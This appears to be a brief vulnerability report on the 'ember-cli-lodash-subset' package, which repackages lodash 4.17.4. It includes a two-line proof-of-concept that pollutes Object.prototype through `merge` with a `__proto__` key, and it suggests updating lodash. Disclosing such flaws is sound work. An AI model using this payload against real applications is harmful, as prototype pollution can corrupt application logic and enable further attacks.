Prototype Pollution in the Package

I have found a prototype pollution vulnerability of function `merge`. Here is the exploit:

```
var _ = require('ember-cli-lodash-subset');
_.merge({}, {['__proto__']: {polluted: 'yes'}});
```

The project uses a subset of lodash 4.17.4 (which has a prototype pollution vulnerability) and repackages it.

It can be safer if lodash is updated to recent versions.